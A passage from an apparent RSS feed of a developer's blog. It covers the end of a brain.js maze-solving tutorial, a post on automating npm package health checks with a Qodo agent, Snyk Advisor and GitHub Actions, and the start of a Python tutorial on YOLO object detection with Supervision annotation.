&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Path through the maze:&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  visualMaze.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;row&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; console.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(row.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;visualizeMazeAtPosition&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(maze, { x: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, y: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;troubleshooting--pitfalls&quot;&gt;Troubleshooting &amp;#x26; Pitfalls&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Common Error&lt;/strong&gt;: Neural network not converging.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fix&lt;/strong&gt;: Increase the number of iterations or adjust the learning rate.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pitfall&lt;/strong&gt;: Infinite loops in maze traversal.
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Fix&lt;/strong&gt;: Implement a mechanism to avoid revisiting positions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;automate-and-extend&quot;&gt;Automate and Extend&lt;/h2&gt;
&lt;p&gt;Consider automating the training and solving process using CI/CD pipelines. You can also extend this project by experimenting with larger mazes or more complex neural networks.&lt;/p&gt;
&lt;h2 id=&quot;conclusion--next-steps&quot;&gt;Conclusion &amp;#x26; Next Steps&lt;/h2&gt;
&lt;p&gt;By following this guide, you’ve learned how to train a neural network to solve mazes using Node.js and brain.js. Feel free to experiment with different mazes and explore further applications of neural networks in game AI or robotics.&lt;/p&gt;
&lt;p&gt;Don’t forget you can check out the complete code on my GitHub profile at the following code repository: &lt;a href=&quot;https://github.com/lirantal/neural-network-solves-maze&quot;&gt;lirantal/neural-network-solves-maze&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Happy coding and deploying!&lt;/p&gt;</content:encoded></item><item><title>Automate Package Health Checks with Snyk Advisor and Qodo Agents</title><link>https://lirantal.com/blog/automate-package-health-checks-with-snyk-advisor-and-qodo-agents/</link><guid>https://lirantal.com/blog/automate-package-health-checks-with-snyk-advisor-and-qodo-agents/</guid><description>The Qodo AI team has introduced the Package Health Reviewer, a new feature in their agents repository that automates the health assessment of third-party open-source packages using Snyk Advisor. This tool provides comprehensive analysis and health scores to help developers maintain secure and reliable dependencies.</description><pubDate>Sat, 06 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Qodo AI team has unveiled a new feature in their agents repository: the Package Health Reviewer. This tool leverages Snyk Advisor to automate the health assessment of third-party open-source packages. By providing a comprehensive analysis of package security, maintenance, and community metrics, it offers a health score that categorizes packages as ‘healthy’, ‘sustainable’, or ‘risky’. Designed to integrate seamlessly into CI/CD workflows, this tool helps teams make informed decisions about their dependencies and maintain robust security practices.&lt;/p&gt;
&lt;h2 id=&quot;why-package-health-matters&quot;&gt;Why Package Health Matters&lt;/h2&gt;
&lt;p&gt;As developers have already become aware of, the health of your dependencies can make or break your project. Unhealthy packages can introduce vulnerabilities, lead to maintenance headaches, and even cause project delays. &lt;a href=&quot;https://snyk.io/advisor&quot;&gt;Snyk Advisor&lt;/a&gt; plays a crucial role by providing reliable metrics on package security, maintenance, and community engagement. This ensures that developers can trust their dependencies and maintain high security standards.&lt;/p&gt;
&lt;h2 id=&quot;how-the-package-health-reviewer-works&quot;&gt;How the Package Health Reviewer Works&lt;/h2&gt;
&lt;p&gt;The Package Health Reviewer integrates with Snyk Advisor to fetch detailed package metrics. Using Playwright for data scraping, it evaluates packages and assigns a health score. This score helps developers quickly identify whether a package is ‘&lt;em&gt;healthy&lt;/em&gt;’, ‘&lt;em&gt;sustainable&lt;/em&gt;’, or ‘&lt;em&gt;risky&lt;/em&gt;’, allowing for informed decision-making.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-the-package-health-reviewer&quot;&gt;Setting Up the Package Health Reviewer&lt;/h2&gt;
&lt;p&gt;To get started with the Package Health Reviewer, you’ll need to configure the agent using an &lt;code&gt;agent.toml&lt;/code&gt; file. Here’s a step-by-step guide:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Install Prerequisites&lt;/strong&gt;&lt;br&gt;
Ensure you have Node.js 18+ and npm installed. Playwright MCP server will be auto-installed.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure the Agent&lt;/strong&gt;&lt;br&gt;
Create an &lt;code&gt;agent.toml&lt;/code&gt; file in your project directory. This file will define the packages you want to analyze.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;package_health&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;packages = [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;express&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;request&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Run a Package Health Check&lt;/strong&gt;&lt;br&gt;
Use the following command to analyze a package:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;qodo --agent-file=agent.toml -y --set package_name=&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;express&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Why this matters:&lt;/em&gt; This command demonstrates the basic usage of the Package Health Reviewer.&lt;br&gt;
&lt;em&gt;Verify:&lt;/em&gt; Run the command and check for a JSON output with health metrics.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;integrating-with-cicd-pipelines&quot;&gt;Integrating with CI/CD Pipelines&lt;/h2&gt;
&lt;p&gt;Automating package health checks in your CI/CD pipeline ensures continuous monitoring of your dependencies. Here’s how you can set it up with GitHub Actions:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Create a GitHub Actions Workflow&lt;/strong&gt;&lt;br&gt;
Add a new workflow file in &lt;code&gt;.github/workflows/package-health-check.yml&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Package Health Check&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;pull_request&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;health-check&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/checkout@v4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Setup Node.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/setup-node@v4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;node-version&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;24&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;Check package health&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;          qodo --agent-file=agent.toml -y --set package_name=&quot;express&quot; --ci&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Why this matters:&lt;/em&gt; This setup automates health checks in a CI/CD pipeline.&lt;br&gt;
&lt;em&gt;Verify:&lt;/em&gt; Ensure the workflow runs on pull requests and outputs health scores.&lt;/p&gt;
&lt;h2 id=&quot;interpreting-health-scores&quot;&gt;Interpreting Health Scores&lt;/h2&gt;
&lt;p&gt;Understanding the health scores is crucial for making informed decisions about package usage. The scores are categorized as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Healthy:&lt;/strong&gt; Safe to use with no known vulnerabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sustainable:&lt;/strong&gt; Generally safe but may have minor issues.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risky:&lt;/strong&gt; Contains vulnerabilities or is poorly maintained.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;case-study-analyzing-popular-packages&quot;&gt;Case Study: Analyzing Popular Packages&lt;/h3&gt;
&lt;p&gt;Let’s analyze the popular &lt;code&gt;express&lt;/code&gt; package:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Express:&lt;/strong&gt; Known for its robust community and frequent updates, it typically scores as ‘healthy’.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request:&lt;/strong&gt; Although widely used, it has been deprecated, often scoring as ‘risky’.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The Package Health Reviewer is a powerful tool for automating dependency analysis, ensuring your projects remain secure and maintainable. By integrating it into your CI/CD pipeline, you can continuously monitor package health and make informed decisions. Try the Package Health Reviewer on your project today, integrate health checks into your CI/CD pipeline, and share your feedback or contribute to the Qodo AI repository.&lt;/p&gt;
&lt;p&gt;Some follow-up resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/qodo-ai/agents&quot;&gt;Qodo AI Agents Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://snyk.io/advisor/&quot;&gt;Snyk Advisor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Happy coding and deploying!&lt;/p&gt;</content:encoded></item><item><title>Computer Vision in Python Building Detection and Object Annotation with Ultralytics YOLO and Supervision</title><link>https://lirantal.com/blog/computer-vision-python-object-detection-annotation-yolo-supervision/</link><guid>https://lirantal.com/blog/computer-vision-python-object-detection-annotation-yolo-supervision/</guid><description>A practical guide to building a simple computer vision project in Python using Ultralytics YOLO for object detection and Supervision for annotation.</description><pubDate>Thu, 04 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;What if you could detect speakers at a tech conference and annotate them with their names in real-time? What if you could use this to manage multi-track conference room occupancy? These are just some off-the-cuff ideas to get your creative juices flowing. This is the power of computer vision and object detection.&lt;/p&gt;
&lt;p&gt;Python is most naturally known for its data science and machine learning libraries so we’ll be building a simple computer vision project in Python, an open-source image detection model and another open-source annotation model to achieve the basic functionality.&lt;/p&gt;
&lt;p&gt;Our goal is to annotate the following picture:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/liran-tal-devopsdays-tlv.png&quot; alt=&quot;Liran Tal at DevOpsDays TLV&quot;&gt;&lt;/p&gt;
&lt;p&gt;Can we make it happen…? Let’s go!&lt;/p&gt;
&lt;h2 id=&quot;image-detection-code-analysis&quot;&gt;Image Detection Code Analysis&lt;/h2&gt;
&lt;p&gt;This code implements an object detection system using YOLO (You Only Look Once) model. Let me break it down by sections:&lt;/p&gt;
&lt;p&gt;Library Imports and Their Purposes&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;os&lt;/code&gt;: Handles file paths and system operations&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cv2&lt;/code&gt; (OpenCV): Image processing and manipulation&lt;/li&gt;
&lt;li&gt;&lt;code&gt;supervision&lt;/code&gt;: Provides utilities for annotating and visualizing object detections&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ultralytics&lt;/code&gt;: Implements the YOLO model for object detection&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;getting-started-with-computer-vision-in-python&quot;&gt;Getting Started with Computer Vision in Python&lt;/h2&gt;
&lt;p&gt;We’ll go through a simple example of how to use the Ultralytics YOLO model for object detection and Supervision for annotating the detected objects in an image.&lt;/p&gt;
&lt;p&gt;Our ultimate goal is to provide an input image and get an output of the same image with bounding boxes and labels around the detected objects. The detection is provided via the YOLO model, and the annotation is done using Supervision.&lt;/p&gt;
&lt;h3 id=&quot;environment-setup&quot;&gt;Environment Setup&lt;/h3&gt;
&lt;p&gt;Sets up the imports for the Python libraries used in the code:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; os&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; cv2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; supervision &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; sv&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; ultralytics &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;YOLO&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sets up paths for input images and working directory.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;HOME&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; os.path.expanduser(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;EXAMPLE_IMAGES_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; os.path.join(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;HOME&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;image_detection_examples&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;IMAGE_PATH&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;{HOME}&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;/image_detection_examples/dog-1.jpeg&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And then declare the main function:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;__name__&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Image detection environment set up.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The next code snippets will be inside the &lt;code&gt;if __name__ == &quot;__main__&quot;:&lt;/code&gt; block.&lt;/p&gt;
&lt;h3 id=&quot;image-preprocessing&quot;&gt;Image Preprocessing&lt;/h3&gt;
&lt;p&gt;Loads the image using the OpenCV library:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; cv2.imread(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;IMAGE_PATH&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Not always required, but sometimes you may want to apply padding so that the annotation is within the visible area of the image. If so, you can achieve it using the same OpenCV library that adds white padding around it to improve detection accuracy:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    padding &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    image_with_padding &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; cv2.copyMakeBorder(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        image,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;top&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;padding, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;bottom&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;padding,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;left&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;padding, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;right&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;padding,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;borderType&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;cv2.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;BORDER_CONSTANT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;255&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;object-detection&quot;&gt;Object Detection&lt;/h3&gt;
&lt;p&gt;Loads the YOLOv8 model and performs object detection on the padded image:&lt;/p&gt;
